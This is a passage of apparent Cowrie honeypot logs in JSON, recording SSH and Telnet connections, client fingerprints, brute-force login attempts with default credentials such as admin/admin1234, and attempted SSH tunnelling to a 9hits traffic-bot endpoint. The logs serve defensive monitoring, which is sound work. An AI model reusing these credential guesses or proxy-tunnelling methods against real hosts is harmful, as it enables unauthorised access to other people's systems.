x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:31.693852Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:32.257923Z","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:32.549156Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8C\\x18\\xa9\\x9a\\x82K\\x7f\\x85K\\xd3v\\xe6\\x0b\\xc27t\\xf4\\xe8~\\x95\\x08\\xb3J\\xfb\\xa9\\xee\\n\\x8dN\\xcbx \\xb1\\x9e\\xa6\\x00\\x9b \\xaajb5\\x96\\ri\\xe8qT~\\xcb+jw2x\\x04B\\xdb\\xc3}\\x7f\\xf0\\xa2\\x88\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2I\\xc2\\xc7\\xc0\\xd6\\x84\\x12S\\xc8\\x0bG\\x1a\\xfc\\xed\\xfa\\xd7\\x13@\\xac&*\\xaf]\\xaa\\xa5\\xcfI\\xb4\\xff\\x81\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8C\\x18\\xa9\\x9a\\x82K\\x7f\\x85K\\xd3v\\xe6\\x0b\\xc27t\\xf4\\xe8~\\x95\\x08\\xb3J\\xfb\\xa9\\xee\\n\\x8dN\\xcbx \\xb1\\x9e\\xa6\\x00\\x9b \\xaajb5\\x96\\ri\\xe8qT~\\xcb+jw2x\\x04B\\xdb\\xc3}\\x7f\\xf0\\xa2\\x88\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2I\\xc2\\xc7\\xc0\\xd6\\x84\\x12S\\xc8\\x0bG\\x1a\\xfc\\xed\\xfa\\xd7\\x13@\\xac&*\\xaf]\\xaa\\xa5\\xcfI\\xb4\\xff\\x81\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:32.552243Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:33.018322Z","src_ip":"113.164.152.20","session":"a76f43fdd82b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51716,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e27cc610d9c","protocol":"telnet","message":"New connection: 128.199.8.54:51716 (159.203.135.109:23) [session: 2e27cc610d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:40.104066Z"}
{"eventid":"cowrie.session.connect","src_ip":"63.141.242.2","src_port":49985,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5d4bb43a838","protocol":"ssh","message":"New connection: 63.141.242.2:49985 (10.17.0.5:22) [session: d5d4bb43a838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:54.566301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:54.570983Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:54.898868Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:57:56.047824Z","src_ip":"63.141.242.2","session":"d5d4bb43a838","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":25795,"dst_ip":"159.203.135.109","dst_port":22,"session":"f756858232dd","protocol":"ssh","message":"New connection: 49.247.37.22:25795 (159.203.135.109:22) [session: f756858232dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:00.527517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:00.535192Z","src_ip":"49.247.37.22","session":"f756858232dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:00.742791Z","src_ip":"49.247.37.22","session":"f756858232dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Redhat@2024","message":"login attempt [root/Redhat@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:01.610168Z","src_ip":"49.247.37.22","session":"f756858232dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:02.823349Z","src_ip":"49.247.37.22","session":"f756858232dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":51420,"dst_ip":"10.17.0.5","dst_port":22,"session":"03b0197d6ad5","protocol":"ssh","message":"New connection: 113.164.152.20:51420 (10.17.0.5:22) [session: 03b0197d6ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:04.253681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:04.258435Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:04.576476Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":46104,"dst_ip":"159.203.135.109","dst_port":22,"session":"822a1c3f7bbb","protocol":"ssh","message":"New connection: 2.99.213.222:46104 (159.203.135.109:22) [session: 822a1c3f7bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.339228Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.346142Z","src_ip":"2.99.213.222","session":"822a1c3f7bbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.451757Z","src_ip":"2.99.213.222","session":"822a1c3f7bbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.79.165.43","src_port":59678,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dcf3cc0757e","protocol":"ssh","message":"New connection: 101.79.165.43:59678 (159.203.135.109:22) [session: 3dcf3cc0757e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.458404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.462483Z","src_ip":"101.79.165.43","session":"3dcf3cc0757e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.680286Z","src_ip":"101.79.165.43","session":"3dcf3cc0757e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3server","password":"12345","message":"login attempt [ts3server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:05.899345Z","src_ip":"2.99.213.222","session":"822a1c3f7bbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aq12wsde34rf","message":"login attempt [root/aq12wsde34rf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:06.581321Z","src_ip":"101.79.165.43","session":"3dcf3cc0757e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:06.733663Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.002179Z","src_ip":"2.99.213.222","session":"822a1c3f7bbb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.329332Z","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.802465Z","src_ip":"101.79.165.43","session":"3dcf3cc0757e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:58:07.981849Z","src_ip":"113.164.152.20","session":"03b0197d6ad5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=QkBaL1JsUF5HWmckcU5TMw%3D%3D9Glq7og%2BJBCwoJaZqTsQKFtUKGanTUP3Tgvf0OKAm8%2FZP0k2v8aA1QPmNYEgBA6C%2BuY%2F087mPHWpnd%2FI06YMlLUAIoBGlEZ4kFhjv6SYDMgBLWxIj324alzwy70pHqkD0dIBdITx%2BQlygXp6wQsAab3Bnc7acXpdHC85y8UXRBF9%2F4VeeNE%2F%2BUFQ%2B2WrRxcpOmZ1FASwnLoIBz9gfwErLI3fAP7SB20V7wWOUeXxKYUaCVvzLQJJT2RfJro5wmqxsfzvekybyd4eSbD8snE2JlZjloKrW3Jk1SpjwF4ecl57sxHvfds72RdZSOxo67cNC9gBAyWV66HneOkLh7euQK6ySjda%2BNYitQt6I7UlUMIWTvQifcCFVdpbZkxom5fNRlaqnboWyZKxugiLZeRUsFAKG5QCEvzlH83j2QbztpWzx%2F4IzDg4cMRtG%2BcGUmCzUJFWajGnrt0OgQ91hipAw2ipNcsR6fKgYSe6lXgBtspTMwNYkD%2FzNfytR2uDfyaRN5xmfiOVdlyD20ldApRi5AkBQpqk2tgp%2B6beigYv330jyJQ%2FsEkvuf8jYlyvZwpsAsGiBu3%2F389mjiadyYUz2vjoHe2Ma0wb%2BV5cOuiy4iJi7qcCpU7B6BdTGnA3wH%2F38KarhfMaofMbrCVECaE10osTmKKnh9L